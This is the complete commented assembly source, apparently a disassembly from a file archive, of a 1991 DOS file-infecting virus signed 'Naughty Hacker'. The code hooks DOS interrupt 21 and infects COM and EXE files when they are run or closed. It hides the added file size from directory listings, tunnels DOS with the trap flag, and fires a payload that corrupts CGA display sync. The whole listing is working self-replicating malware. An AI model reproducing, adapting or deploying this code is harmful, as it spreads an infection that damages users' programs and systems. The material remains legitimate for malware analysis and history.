home *** CD-ROM | disk | FTP | other *** search
- .model tiny
- .code
- .radix 16
-
- ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
-
- org 0100h
- CALL EntryPoint ; Call virus entry point
-
- ; Here begin virus by himself
-
- EntryPoint:
- POP BP ; Restore in BP address of data area
- PUSH BX ; Save BX
- PUSH CX ; Save CX
- PUSH ES ; Save ES
- PUSH DS ; Save DS
- CLC ; Clear carry flag
- MOV AX,4B4Bh ; Load AX with self-check word
- INT 21 ; Call int21
- JC Install ; If virus is loaded CF==0
-
- PUSH DS ; Save DS
- PUSH CS ; Set DS point to PSP
- POP DS ;
- MOV SI,DI ; SI=DI= virus CODE begin
- SUB SI,0003 ; include CALL in the beginning
- ADD SI,BP ; Adjust different offsets
- MOV CX,047Ch ; Compare virus code only
- CLD ; Clear direction
- REP CMPSB ; Repeat until equal
- POP DS ; Restore DS
- PUSH DS ; Set ES = DS
- POP ES
- JZ ReturnControl ; If virus -> return to file
-
- Install:
- MOV CS:[offset FunCounter+BP],3456 ; Load generation counter
- MOV AX,DS ; Move PSP segment in AX
- DEC AX ; Compute MCB of PSP
-
- MOV DS,AX ; Set DS to MCB
- SUB [0003],0050 ; "Steal" some memory
- MOV AX,ES:[0002] ; ????
- SUB AX,0050 ; ????
- MOV ES:[0002],AX ;
- PUSH AX ; Save new virus segment
- SUB DI,DI ; DI=0
-
- MOV SI,BP ; SI point to virus begin
- SUB SI,0003 ; Adjust CALL in the beginning
- MOV DS,DI ; DS set to 0
- MOV BX,Offset int21handler ; Load BX with int 21 handler
- XCHG BX,[0084] ; and set it in vector table
- MOV CS:[BP+offset Int21off],bx ; Save old vector offset
- XCHG AX,[0086] ; Set new int21 seg & get old segment
- MOV CS:[BP+offset Int21seg],ax ; Save old vector segment
- POP ES ; Set ES point to new virus seg
- PUSH CS ; Set DS point to current virus seg (PSP)
- POP DS ;
- MOV CX,offset LastByte ; Will move all virus
- REP MOVSB ; Move virus in hi memory (as Eddie)
-
- MOV AX,4BB4h ; Int21 is grabbed by virus
- INT 21 ; This SetUp virus function
- ReturnControl:
- POP DS ; Restore DS
- POP ES ; Restore ES
- CMP byte ptr CS:[BP+ComFlag],43 ; Check if host file is COM
- JZ ReturnCOM ; If COM -> exit COM
- ReturnEXE:
- MOV AX,CS:[BP+First3] ; Load AX with old IP
- MOV DX,CS:[BP+First3+2] ; Load AX with old CS
- MOV CX,CS ; Load CX with current run segment
- SUB CX,CS:[BP+06] ; Calculate PSP+10h
- MOV DI,CX ; Save result in DI
- ADD DX,CX ; In DX is now start segment
- POP CX ; ???
- POP BX ; ???
- CLI ; Disable interrupts
- ADD DI,CS:[BP+04]
- MOV SS,DI
- STI
- DoReturn: ; 009B
- PUSH DX ; Push entry segment
- PUSH AX ; Push entry offset
-
- SUB AX,AX ; Clear registers
- SUB DX,DX ; Clear of AX may cause trouble
- SUB BP,BP ; with several programs (as DISKCOPY)
- SUB SI,SI ; AX must be saved on entry and restored
- SUB DI,DI ;
- RETF ; Return control to EXE file
-
- ReturnCOM:
- POP CX ; ???
- POP BX ; ???
- MOV AX,[BP+First3] ; Load AX with first 2 instr
- MOV [0100],AX ; and restore them at file begin
- MOV AX,[BP+First3+2] ; Load AX with second 2 instr
- MOV [0102],AX ; and restore them at file begin
- MOV AX,0100 ; Set AX to entry offset
- MOV DX,CS ; Set DX to entry segment
- JMP short DoReturn ; Go to return code
-
- FindFirstNext:
- PUSHF ; Save flags
- CALL dword ptr CS:[offset Dos21off] ; Call DOS
- PUSH BX ; Save rezult of searching
- PUSH ES
- PUSH SI
- PUSH AX
- MOV SI,DX ; DS:SI point to FCB with search argument
- CMP byte ptr [SI],0FFh ; Check for Extended FCB
- JNZ NoDirCommand ; If FCB not extended then command is not DIR
- MOV AH,2Fh ; Get DTA address; Result of search is in DTA
- INT 21
- MOV AX,ES:[BX+1Eh] ; Load file time to AX
- AND AX,001Fh ; Mask seconds
- CMP AX,001Fh ; Check if file seconds are 62
- JNZ NoDirCommand ; If seconds!=62 -> file not infected
- CMP ES:[BX+26h],0000 ; Check file size, hi byte
- JNZ AdjustSize ; If file bigger than 64K -> immediate adjust
- CMP ES:[BX+24h],offset LastCode ; Check low byte of file size
- JC NoDirCommand ; If file is less than virus -> skip adjust
- AdjustSize:
- SUB ES:[BX+24h],offset LastCode ; Decrement file size with virus size
- SBB ES:[BX+26h],0000 ; Decrement hi byte of size if need
-
- NoDirCommand:
- POP AX ; Restore registers
- POP SI
- POP ES
- POP BX
- IRET ; Return to caller
-
- HereIam:
- PUSH CS ; If AX==4B4B -> so virus call me
- POP ES ; Set ES to virus segment
- MOV DI,000C ; Set DI to virus code begin
- IRET ; Return to caller
- Int21handler:
- CMP AH,11h ; If function is FindFirst
- JZ FindFirstNext ; If so -> will adjust file size
- CMP AH,12h ; If function is FindNext
- JZ FindFirstNext ; If so -> will adjust file size
- CMP AX,4B4Bh ; If AX==4B4B -> Identification
- JZ HereIam ; function
- CMP AX,4BB4h ; Setup function
- JNZ Continue ; Continue checking of AH
- JMP SetUp
- Continue:
- PUSH AX ; Save important registers
- PUSH BX
- PUSH CX
- PUSH DX
- PUSH SI
- PUSH DI
- PUSH BP
- PUSH DS
- PUSH ES
-
- CMP AH,3Eh ; If function CLOSE file handle
- JZ CloseFile ;
- CMP AX,4B00h ; If function is EXEC file
- MOV AH,3Dh ; If so set AH to OPEN function
- JZ Infect ; and infect file
- ErrorProcess:
- MOV AX,CS:[offset FunCounter] ; Load nomer pored na function
- CMP AX,0000 ; If counter is != 0
- JNZ AdjustFunCount ; then only decrease counter
- JMP VideoFuck ; else go to video fuck
- AdjustFunCount:
- DEC AX
- MOV CS:[04A0h],AX
- EndInt21:
- POP ES ; Restore important registers
- POP DS
- POP BP
- POP DI
- POP SI
- POP DX
- POP CX
- POP BX
- POP AX
- JMP dword ptr CS:[offset Int21off] ; Jump to DOS
-
- DB 9A ; ??????
-
- CloseFile:
- MOV AH,45
- Infect:
- CALL CallDOS ; Call DOS int 21
- JC ErrorProcess ; If error -> Stop processing
- MOV BP,AX ; Save file handle in BP
- MOV AX,3508 ; Get timer interrupt
- CALL CallDOS
- MOV CS:[offset TimerOff],BX ; and save it in variable
- MOV CS:[offset TimerSeg],ES
- PUSH BX ; and to stack
- PUSH ES
- MOV AL,21 ; Get in21
- CALL CallDOS
- PUSH BX ; and save it on stack
- PUSH ES
- MOV AL,24 ; Get critical error int
- CALL CallDOS
- PUSH BX ; and store it on stack
- PUSH ES
- MOV AL,13 ; Get int 13 (disk I/O)
- CALL CallDOS
- PUSH BX ; and save it on stack
- PUSH ES
- MOV AH,25 ; Now he will SET vectors
- LDS DX,dword ptr CS:[offset Int13off] ; Load int13 bios address
- CALL CallDOS ; Set it in vector table
- MOV AL,21
- LDS DX,dword ptr CS:[offset Dos21off] ; Load int21 dos address
- CALL CallDOS ; Set in vector table
- MOV AL,24 ; Will set critical error handler
- PUSH CS
- POP DS ; Set DS point to vurus segment
- MOV DX,offset CriticalError ; Load its own critical handler
- INT 21 ; Set in vector table
- MOV AL,08 ; Set new timer
- MOV DX,offset TimerHandler ; Load its own timer
- INT 21 ; Set in vector table
- MOV BX,BP ; Restore file handle from BP to BX
- PUSH BX ; Save handle on stack
- MOV AX,1220 ; Get handle table number
- CALL CallInt2F ; Via int2F (undocumented)
- MOV BL,ES:[DI] ; Load table number in BL
- MOV AX,1216 ; Get table address
- CALL CallInt2F ; Via int2F (undocumented)
- POP BX ; Restore file handle
- ADD DI,0011 ; ES:DI point to file size
- MOV byte ptr ES:[DI-0Fh],02 ; Set file open mode (3Dxx) to Read/Write
- MOV AX,ES:[DI] ; Load DX:AX with file size
- MOV DX,ES:[DI+02] ;
- CMP DX,0000 ; Check if file is less than 64k
- JNZ BigEnough ; If less
- CMP AX,offset LastCode ; Then check if file is less than virus
- JNC BigEnough ; If file is larger than virus -> fuck it
- JMP SkipFile ; else skip file
- BigEnough:
- MOV [offset FileSizeLow],AX ; Save file size in variables
- MOV [offset FileSizeHi],DX
- SUB AX,offset VirusAuthor-offset EndAuthor ; Decrease file size with sign size
- SBB DX,0000 ;
- MOV ES:[DI+04],AX ; Set current file position to point
- MOV ES:[DI+06],DX ; Virus sign
- PUSH DI ; Save table handle table address
- PUSH ES ;
- MOV AH,3F ; Will read from file
- MOV CX,offset EndAuthor-offset VirusAuthor
- MOV DX,offset LastByte ; Load DS:DX point AFTER virus
- MOV DI,DX ; DI point this area either
- INT 21 ; Read file
- MOV SI,Offset VirusAuthor ; DS:SI point virus sign
- MOV CX,offset EndAuthor-offset VirusAuthor ; Load CX sign size
- PUSH CS ; ES:DI point to readed byte
- POP ES ;
- REP CMPSB ; Compare virus sign with readed bytes
- POP ES ; Restore handle table address
- POP DI ;
- JNZ CleanFile ; If not equal -> file is clean
- JMP SkipFile ; Else file infected -> skip it
- CleanFile: MOV ES:[DI+04],0000 ; Set file pointer to 0L
- MOV ES:[DI+06],0000
- MOV AH,3F ; Will read EXE header
- MOV CX,001B ; Size of EXE header
- MOV DX,offset LastByte ; Read in buffer AFTER virus
- MOV SI,DX ; Set DS:SI point to readed header
- INT 21 ; Read header
- JNC NoErrorHeader ; If no error in read -> go ahead
- JMP SkipFile ; If error occur -> skip file
- NoErrorHeader: CMP ES:[DI+18],4D4F ; Check in table if file is ?OM
- JNZ NoComFile
- JMP InfectCOM
- NoComFile: CMP ES:[DI+18],4558 ; Check for ?XE file
- JZ CheckForEXE ; If so -> infect it
- JMP SkipFile ; Else skip file
-
- CheckForEXE: CMP ES:[DI+17],45 ; Check if file is realy an EXE-named
- JZ CheckEXEsign ; If so -> check for MZ,ZM
- JMP SkipFile ; Else skip file
-
- CheckEXEsign: CMP [SI],5A4Dh ; Check for MZ
- JZ InfectEXE ; If so -> infect file
- CMP [SI],4D5Ah ; Check for ZM
- JZ InfectEXE ; If so -> infect file
- JMP SkipFile ; Otherwise -> skip file
-
- InfectEXE: MOV byte ptr [ComFlag],45h ; Set file type flag to EXE
- MOV AX,[SI+0Eh] ; Load AX with EXE file SS
- MOV [SSegment],AX ; and save it
- MOV AX,[SI+14h] ; Load AX with EXE header IP
- MOV [IPointer],AX ; and save it
- MOV AX,[SI+16h] ; Load AX with EXE header CS
- MOV [CSegment],AX ; And save it
- MOV DX,offset LastCode ; Load DX with virus CODE size
- PUSH DX ; Save it to stack
- MOV CX,9h ; Compute virus size in
- SHR DX,CL ; 512 pages
- ADD [SI+04h],DX ; Increase EXE file header size field
- ; with virus pages
- POP DX ; Restore virus size in DX
- AND DX,01FFh ; Compute reminder from VirusSize/512
- ADD DX,[SI+02] ; Save value in EXE header
- CMP DX,0200 ; Check virus reminder
- JL NoAdjustRem ; If less than 512 -> no adjust
- SUB DX,0200 ; Else decrease reminder
- INC word ptr [SI+04] ; Increase EXE header page count
- NoAdjustRem:
- MOV [SI+02],DX ; Save correct reminder in EXE header
- MOV AX,[SI+08] ; Load AX with file size in paragraphs
- SUB DX,DX ; Set DX to Zero
-
- CALL LongMultiple16 ; Get DX:AX file size in bytes
- SUB [offset FileSizeLow],AX ; Correct saved file size
- SBB [offset FileSizeHi],DX
- MOV AX,[FileSizeLow] ; Load DX:AX with corrected file size
- MOV DX,[offset FileSizeHi]
- CALL LongMultiple16 ; DX:AX *= 0x10
- MOV CX,0008 ; Calculate new entry CS:IP
- SHL DX,CL ; DX/=0x100
- MOV CX,0004
- SHR AX,CL ; AX/=0x10
- MOV [SI+14],AX ; Set entry CS:IP to EXE header
- MOV [SI+16],DX
- MOV [NewCS],DX ; Save new entry CS
- ADD DX,0200 ; Calculate new entry SS
- MOV [SI+0E],DX ; Store it to EXE header
-
- DoInfect:
- MOV ES:[DI+04],0000 ; Set file pointer to 0L
- MOV ES:[DI+06],0000
- PUSH ES:[DI-02] ; Save file date/time on stack
- PUSH ES:[DI-04]
- SUB CX,CX ; Set CX to 0
- XCHG CX,ES:[DI-0Dh] ; Load CX file attrib/set file attrib to 0
- PUSH CX ; Save file attrib to stack
- MOV AH,40 ; Write file
- MOV DX,offset LastByte ; EXE header
- MOV CX,001B ; Rewrite modified EXE header
- INT 21 ; Do write
- JC BadWrite ; If error skip file
- MOV AX,ES:[DI] ; Set file pointer
- MOV ES:[DI+04],AX
- MOV AX,ES:[DI+02] ; to end of file
- MOV ES:[DI+06],AX ;
- MOV AH,40 ; Will write
- SUB DX,DX ; Virus offset
- MOV CX,offset LastCode ; Virus size
- INT 21 ; Write virus to EXE file
-
- BadWrite:
- POP CX ; Restore file attrib from stack
- MOV ES:[DI-0Dh],CX ; Set attrib of file
- POP CX ; Restore file date/time from stack
- POP DX
- OR byte ptr ES:[DI-0Bh],40 ; Set DO NOT UPDATE TIME flag in table
- JC NoFuckTime ; If write error -> Set normal time
- OR CX,001F ; Else set file seconds to 62
- NoFuckTime:
- MOV AX,5701 ; Set file date/time
- INT 21 ; Via int21
- SkipFile:
- MOV AH,3E ; CloseFile
- INT 21
- OR byte ptr ES:[DI-0Ch],40 ; ????
- SUB AX,AX ; Set DS to 0
- MOV DS,AX
- POP AX ; Restore int 13 seg
- MOV [004E],AX ; Restore vector 13 seg
- POP AX ; Restore int 13 off
- MOV [004C],AX ; Restore vector 13 off
- POP AX ; Restore int 24 seg
- MOV [0092],AX ; Restore vector 24 seg
- POP AX ; Restore int 24 off
- MOV [0090],AX ; Restore vector 24 off
- POP AX ; Restore int 21 seg
- MOV [0086],AX ; Restore vector 21 seg
- POP AX ; Restore int 21 off
- MOV [0084],AX ; Restore vector 21 off
- POP AX ; Restore int 8 seg
- MOV [0022],AX ; Restore vector 8 seg
- POP AX ; Restore int 8 off
- MOV [0020],AX ; Restore vector 0 off
- JMP ErrorProcess ; Update counter
- InfectCom:
- TEST byte ptr ES:[DI-0Dh],04 ; Check for SYSTEM file
- JNZ OkComFile ; If file IS system -> Damage file ?????
- PUSH SI ; Save buffer offset
- CMP ES:[DI+17],43 ; Check if file ext begin with 'C'
- JNZ OkComFile ; If no -> damage file
- MOV byte ptr [ComFlag],43 ; Set file type flag to COM
- LODSW ; Load first 2 bytes of file
- MOV CS:[First3],AX ; And save them
- LODSW ; Load seconf 2 bytes of file
- MOV CS:[First3+2],AX ; And save them
- MOV AX,ES:[DI] ; Load AX with file size
- CMP AX,0FA76h ; Check file size
- POP SI ; Restore buffer offset
- JC OkComFile ; If file is less than 64118 bytes -> OK infect
- JMP short SkipFile ; else skip file
- OkComFile:
- SUB AX,0003 ; Calculate jump argument
- MOV byte ptr [SI],0E9h ; Set first instruction to near JMP
- MOV [SI+01],AX ; Store JMP argument
- JMP DoInfect ; Go write buffer
-
- LongMultiple16:
- PUSH CX ; Save CX
- MOV CX,0004 ; Will repeat 4 times
- DoMult:
- SHL AX,1 ; Mult DX:AX * 2
- RCL DX,1 ;
- LOOP DoMult ; Repeat 4 times -> 2^4 = 16
- POP CX ; Restore CX
- RET ; Return to caller
- SetUp:
- MOV AH,52 ; Get DOS's table of table address
- INT 21 ; in ES:BX
- MOV CS:[Offset TableSegment],es ; Save table segment
- ; Virus treat this segment as DOS segment
- ; He assume int21 seg == to DOS segment
- ; That's why virus will fail on DOS 5.X
- CLI ; Disable interrupts
- SUB AX,AX ; Set AX to 0
- MOV DS,AX ; Set DS point to interrupt vectors
- MOV [0004],offset Debugger ; Set vector 1 (trap) offset
- MOV [0006],CS ; ; Set vector 1 (trap) seg
- MOV AX,[00BC] ; Load int2F off
- MOV CS:[offset Int2Foff],AX ; and save it
- MOV AX,[00BE] ; Load int2F seg
- MOV CS:[offset Int2Fseg],AX ; and save it
- STI ; Enable interrupts
- PUSHF ; Save flags
- PUSHF ; Save flags
- POP AX ; Get flags in AX
- OR AX,0100 ; Set TF to 1 (trace mode)
- PUSH AX ; Put flags back to stack
- POPF ; Begin trace
- SUB AX,AX ; AX = 0
- DEC AH ; AX = FF00 ???
- CALL dword ptr [0084] ; Call DOS (trace mode active)
- MOV SI,0004 ; SI = 4
- MOV DS,SI ; DS = SI = 4
- MOV AH,30 ; Get DOS version
- INT 21 ; Via int21
- CMP AX,1E03 ; Check DOS 3.30
- LES AX,[SI+08] ; Load ES:AX with int13 address
- JB OkInt13 ; If DOS vers < 3.30 -> ignore BIOS address load/check
- LES AX,[0770+SI] ; then load ES:DX with BIOS address of int13
- ; simulate int2F, AH=13
- MOV BX,ES ; BX:AX int13 BIOS address
- CMP BX,0C800h ; If int13 seg >= C800
- JAE OkInt13 ; Then address is in BIOS, all OK
-
- CLI ; else HALT system
- HLT
- OkInt13:
- MOV CS:[offset Int13off],AX ; Save in13 address
- MOV CS:[offset Int13seg],ES
- IRET ; Return to caller, setup complete
-
- Debugger:
- PUSH BP ; Save BP
- MOV BP,SP ; BP point to stack top
- PUSH BX ; Save BX
- MOV BX,CS:[offset TableSegment] ; Load BX with DOS segment
- CMP SS:[BP+04],BX ; Check debugged address
- JNZ ContinueDebug ; If not in DOS -> continue
- MOV BX,SS:[BP+02] ; else load BX with int21 off
- MOV CS:[offset Dos21off],BX ; and save it
- AND SS:[BP+06],0FEFFh ; Clear trap flag
- ContinueDebug:
- POP BX ; Restore BX
- POP BP ; Restore BP
- IRET ; Continue trace if require or
- ; continue int21 execution without trace
-
- ; Next subroutine fuck you CGA display (don't affect EGA).
- ; Fucking result could be fix by dos MODE command
-
- VideoFuck:
- MOV DX,03D4h ; Select CGA register selector
- MOV AL,02 ; Select CRT register 2 (horiz sync)
- OUT DX,AL ; Do selection
- MOV AL,0FFh ; New sync value
- MOV DX,03D5h ; Select CGA register value writer
- ; This could be INC DX; That save 1 byte
- OUT DX,AL ; Fuck horiz sync
- JMP EndInt21 ; Terminate int21 request
- CallDOS:
- PUSHF ; Save flags
- CALL dword ptr CS:[offset Dos21off] ; Call ORIGINAL int21
- RET ; Return to caller
- CallInt2F:
- PUSHF ; Save flags
- CALL dword ptr CS:[offset Int2Foff] ; Call SAVED int2F
- RET ; Return to caller
- TimerHandler:
- PUSHF ; Save flags
- CALL dword ptr CS:[offset TimerOff] ; Call original timer
- PUSH AX ; Save AX
- PUSH DS ; Save DS
- SUB AX,AX ; Set DS to interrupt table
- MOV DS,AX
- CLI ; Disable interrupts
- MOV AX,CS:[offset Int13off] ; Restore int13 address
- MOV [004C],AX
- MOV AX,CS:[offset Int13seg]
- MOV [004E],AX
-
- MOV [0020],offset TimerHandler ; Set int8
- MOV [0022],CS
-
- MOV AX,CS:[offset Dos21off] ; Restore int21 address
- MOV [0084],AX
- MOV AX,CS:[offset TableSegment]
- MOV [0086],AX
-
- MOV AX,offset CriticalError ; Set int24
- MOV [0090],AX
- MOV [0092],CS
-
- STI ; Enable interrupts
- POP DS ; Restore DS
- POP AX ; Restore AX
- IRET ; Terminate timing
- CriticalError:
- MOV AL,03 ; If critical error
- IRET ; then simulate Ignore
- VirusAuthor:
- db 'Sofia,Feb '
- db 27h
- db '91 Naughty Hacker.' ; Replace this string with HORSE
- EndAuthor:
-
-
- LastCode label byte ; This is virus in file
-
- Int21off: DW 0 ; Variable area
- Int21seg: DW 0 ; NOT writed in file
- Int2Foff: DW 0
- Int2Fseg: DW 0
- TimerOff: DW 0
- TimerSeg: DW 0
- Int13off: DW 0
- Int13seg: DW 0
- Dos21off: DW 0
- TableSegment: DW 0
- FileSizeLow: DW 0
- FileSizeHi: dw 0
- FunCounter: dw 0 ; Executed function counter
- LastByte: label byte ; Memory size of virus
-